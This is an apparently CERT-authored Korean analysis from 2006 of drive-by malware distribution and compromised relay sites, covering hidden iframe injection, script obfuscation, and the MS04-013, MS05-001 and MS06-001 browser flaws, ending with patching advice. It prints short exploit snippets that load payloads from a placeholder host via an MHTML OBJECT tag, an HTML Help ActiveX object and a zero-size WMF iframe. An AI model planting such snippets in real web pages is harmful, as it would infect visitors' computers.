악성코드유포지 경유지의공격코드와보안취약점 1. 개요 본고에서는인터넷침해사고대응지원센터에서자체개발 적용하고있는악성코드은닉사이트탐지프로그램에서 2006년 1월부터 3월까지탐지한사이트중 50개를대상으로공격코드및관련소프트웨어취약점을분석한다. 먼저 ( 그림 1) 에서악성코드유포와경유지를구분하고, 2005년이후게재되었던 인터넷침해사고동향및분석월보 관련기사를해당부분에적어보았다. ( 그림 1) 악성코드경유및유포전체과정 [ ] 안의숫자는 [ 참고자료 ] 의번호임 1 공격자는직접개발, 소스코드획득, 알려진도구이용등으로공격용소스코드를생성한다. 트로이잔다운로더생성기 Afu( 阿福 ) 도구를이용하여유포지의공격코드를생성하는사례를 [3] 에서설명하였다. 2 공격자는생성된공격코드를유포지에올린다. 악성코드유포지 란피해자의 PC로최종적으로다운로드되는악성코드가이사이트를통해유포된다는의미로명명된것이다. 유포지는공격자가직접관리하는웹사이트일수있으나추적을피하기위해해킹한웹사이트를이용하는경우가많다. 3 공격자는웹사이트의취약점을악용하여악성코드유포지의공격코드를실행시킬수있는 - 52 -
코드를삽입한다. 이코드를통해 ( 혹은경유해서 ) 사이트를방문한피해자의 PC에서유포지의공격코드가실행되기때문에 악성코드경유지 라고한다. 경유지는상대적으로잘알려지거나신뢰할수있다고판단되는사이트가대상이될수있다. 주로해당웹사이트의웹게시판소프트웨어취약점 ([11]), SQL Injection([9], [10]), 파일업로드취약점 ([6], [10]) 을이용하여경유지악성코드를삽입한다. 삽입되는공격코드의형태를본고의 2장에서설명한다. 4 사용자가경유지를방문하면악성코드유포지의공격코드가실행된다. 5 보안취약점이존재하는사용자의 PC에서유포지의공격코드가성공적으로실행되고추가적인악성코드 ( 드롭퍼, 트로이잔등 ) 가다운로드되어실행된다. 이때주로공격대상이되고있는보안취약점은본고의 3장에서설명한다. 6 유포지를통해감염될수있는악성코드는다양할수있지만현재까지탐지된결과를보면대부분특정게임사이트의아이디와패스워드를유출시키는트로이잔이었다. 트로이잔분석보고서 [7], [8] 에서 4, 5, 6 과정을상세설명하였다. 악성코드유포사이트탐지및대응활동은 [2], [4] 및 인터넷침해사고동향및분석월보 에서계속접할수있다. 2. 악성코드유포지및경유지의공격코드 악성코드경유지에서확인할수있는공격코드에는 frame 또는 iframe 태그가있다. frame 태그는한윈도우안에여러개의문서를보여주기위해사용된다. frame 태그가 frameset 정보를담고있는별도의문서를필요로하는반면 iframe(inline frame) 은 <iframe></iframe> 태그를사용하여다른문서를원하는위치에삽입시킬수있다. <iframe> 태그는원하는위치에다른문서를불러올수있기때문에정상적인웹개발에서는유용하게사용되지만악성코드삽입도수월하게한다. 경유지에삽입된코드는유포지의공격코드를실행시키는링크의역할이므로대부분높이와넓이가 0로서화면에보이지않는다.(ex, width=0 height=0) ( 그림 2) frame 태그를이용한악성코드유포지삽입 ( 그림 3) iframe 태그를이용한악성코드유포지삽입 <script> 태그를사용하여공격용스크립트문서를삽입시키는경우도있는데많이탐지되지는않았다. - 53 -
( 그림 4) script 태그를이용한악성코드유포지삽입 악성코드유포지의공격코드는평문으로작성된경우보다는사용자의육안이나백신제품, 침입탐지시스템에서탐지되지못하도록한가지이상의방법을사용하여인코딩되는경우가많다. 첫째, 가장흔한방법은공격코드를 escape() 함수를사용하여바꾸는것이다. escape() 는알파벳대 소문자와숫자, 몇몇특수문자 (*, @, -, _, +,., /) 를제외한나머지문자를 16진수아스키코드값으로바꾼다. escape() 함수는일반적으로쿠키나파라메터의문자열과예약어와의혼동을피하고, 간단하게웹소스코드를감추기위해사용하며인코딩된문자열은 unescape() 을사용하여원래대로되돌린다. 이와유사하게공격코드를유니코드로작성하는경우도있다. 둘째, 문자열을재조합하거나웹브라우저가엔터, 스페이스바, 탭을무시하고 HTML 문서를파싱하는점을이용, 공백문자열을삽입하여알아보거나탐지하기어렵게하는방법이있다. 셋째, Microsoft사의 Windows Script Encoder를이용하여 javascript나 vbscript로작성한공격용스크립트코드를인코딩한다. Windows Script Encoder는지적재산권보호등의이유로스크립트소스코드를공개하지않기위해사용한다. 이경우 Script Decoder로디코딩하거나테스트환경에서직접실행시켜원래의공격코드를알아낸다. 넷째, 자체개발한인코딩함수를사용한다. 이경우공격코드는인코딩된문자열을디코딩하는함수를포함한다. 디코딩된문자열을 document.write() 등의함수를이용해최종적으로출력하면웹브라우저가이를실행한다. 이와같은방법외에도탐지를피하기위해공격코드를인코딩또는암호화하는방법이다양해지고있다. 유포지의공격코드역시사용자와의상호작용이필요없고탐지를피하기위해화면에보이지않는다. (ex, style="display:none;", width=0 height=0) 3. 악성코드유포에악용되는보안취약점 2장에서설명한것과같이인코딩 암호화방법은다양하지만최종적으로실행되는공격코드는몇가지로압축된다. 50개유포지를대상으로공격대상이되는취약점을 Microsoft사의보안공지명으로분류하면 MS04-013, MS05-001, MS06-001의순이었고, 특히 MS04-013의비중이높았다. - 54 -
악용되는 MS 취약점비율 MS06-001 16% MS04-013 52% MS05-001 32% MS04-013 MS05-001 MS06-001 MS04-013 MHTML URL 처리취약점은특수하게만든 MHTML URL을처리할때 IE의로컬컴퓨터보안영역에서공격자의 HTML 코드가실행될수있는원격코드실행취약점이며, 2004년 4월 14일보안패치가발표되었다 [13]. 아래공격코드에서 "c:\.mht" 파일이존재하지않을경우 ITS 프로토콜핸들러는 http://aaa.bbb.ccc.ddd/index.chm::/aa.htm로접근을시도하게되는데 "c:\.mht" 가 Local Machine Zone( 내컴퓨터영역 ) 이므로 aa.htm 내의악의적인스크립트또한 Local Machine Zone 내에서실행된다 [8]. <OBJECT Width=0 Height=0 style="display:none;" type="text/x-scriptlet" data="mk:@msitstore:mhtml:c:.mht!http://aaa.bbb.ccc.ddd/index.chm::/aa.htm"> </OBJECT> MS05-001 HTML 도움말 ActiveX 컨트롤도메인간취약점은 HTML 도움말 ActiveX 컨트롤이정보노출이나원격코드실행을허용하는도메인간취약점이며, 2005년 1월 12일에보안패치가발표되었다 [14]. HTML 도움말 ActiveX 컨트롤 (hhctrl.ocx) 은 HTML 파일에 help 기능을삽입하도록지원하는컴포넌트이다. hhctrl.ocx에인터넷영역과로컬영역을구분하지않는취약점이존재하여사용자의허락없이악성파일이다운로드될수있다 <OBJECT id="zgds" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"> <PARAM name="command" value="...... 생략... <PARAM name="item1" value='... 생략...http://aaa.bbb.ccc.ddd... 생략...'> </OBJECT> MS06-001 그래픽렌더링엔진취약점은특수하게조작된 Windows 메타파일 (WMF) 이미지를처리하는방식에서존재하는원격코드실행취약점이며, 2006년 1월 6일에보안패치가발표되었다 [1]. - 55 -
SETABORTPROC는프린트작업이도중에중단되어야할경우호출되는콜백함수를지정하는 Windows GDI API이다. SETABORTPROC 기능이없다면매우큰사이즈의문서를인쇄하는도중에작업을취소해야할경우, 관련프로세스를강제로종료시켜야만하는문제점이발생할수있다. 즉, 이기능자체는보안취약점이라기보다는설계상필요에의해구현된기능이었으나이기능을이용하여원격코드를실행할수있다는점이보안취약점으로남용되고있다 [12]. WMF 취약점을악용하는공격코드는 2006년 1월에집중적으로탐지되는특징을보였다. <iframe src=http://aaa.bbb.ccc.ddd/mailicous.wmf width=0 height=0></iframe> 악성코드유포지에서제로데이공격코드 ( 보안패치미발표취약점을공격 ) 가아닌, MS04-013 MHTML URL 처리취약점과같이다소오래된취약점을공격하는이유는무엇일까? 이것은 MS04-011 LSASS 취약점 (2004년 4월 14일보안패치발표 ) 을감염수단으로이용하는 SASSER 웜이 2005년한해에도웜 바이러스신고현황에서상위를차지하는것과같은이유일것이다. MS04-013 MHTML URL 처리취약점은 - 공격의대상이되는시스템이널리분포하고 Microsoft사의 Windows 운영체제와 IE의사용률이압도적으로높기때문에적은비율의사용자만보안패치를설치하지않아도, 공격대상이광범위하게분포하게됨 - 공격방법이쉬우며 보안의식의향상으로이메일첨부파일이나메신저, P2P 등을통한공격방법이어려워지는반면, 웹사이트를방문하는것만으로도공격이이루어짐 - 공격코드가성공적으로실행될수있다. 운영체제의언어나파일버전과관계없이공격코드가오류를발생하지않고실행됨 4. 결론 본고에서는악성코드유포지및경유지의공격코드와사용된보안취약점의특징을살펴보았다. 악성코드유포지의공격코드를탐지하지못하도록공격코드가더욱더교묘해지고있으나, 공격의대상이되는보안취약점은몇가지로집중된다. 이는사용자입장에서최신보안업데이트를설치하는것이기본적인대응책이된다는점을시사한다. 대응책으로서사용자는의심되는이메일에포함된링크를방문하지않는등안전한브라우징습관을기르고, 개인방화벽과백신제품을사용하며최신보안업데이트를설치해야한다. 한편, 웹사이트개발자 / 운영자는서버운영체제와웹서버, 웹게시판등관련소프트웨어를최신버전으로업데이트하고, 다음을참조하여웹사이트를안전하게운영해야한다. - 웹취약점점검서비스 : http://webcheck.krcert.or.kr - 홈페이지개발보안가이드 : http://www.krcert.or.kr [ 참고자료 ] [1] http://www.microsoft.com/korea/technet/security/bulletin/ms06-001.mspx 인터넷침해사고대응지원센터의 인터넷침해사고동향및분석월보 가운데, [2] 참고자료 : 악성코드유포사이트조기탐지및차단조치, 2006년 2월월보 - 56 -
[3] 트로이잔생성기를이용한악성코드유포지구성사례분석, 2006년 2월월보 [4] 악성코드사이트탐지및대응, 2006년 1월월보 [5] WMF 취약점관련악성코드유포웹사이트및메일서버분석사례, 2006년 1월월보 [6] 업로드취약점을이용한악성코드유포사례, 2005년 10월월보 [7] 웹사이트를통하여전파되는 Trojan 분석, 2005년 9월월보 [8] Hantian, Muma Trojan 분석보고서, 2005년 8월월보 [9] SQL Injection 취약점을이용한악성코드전파사례, 2005년 7월월보 [10] 웹해킹을통한악성코드유포사고사례, 2005년 6월월보 [11] 기업웹해킹을통한 phpbb 웜 (Shell Bot) 유포사례, 2005년 4월월보 [12] WMF 파일에대한 SetAbortProc 남용취약점분석 (MS06-001), 2006년 1월월보 [13] http://www.microsoft.com/korea/technet/security/bulletin/ms04-013.asp [14] http://www.microsoft.com/korea/technet/security/bulletin/ms05-001.mspx - 57 -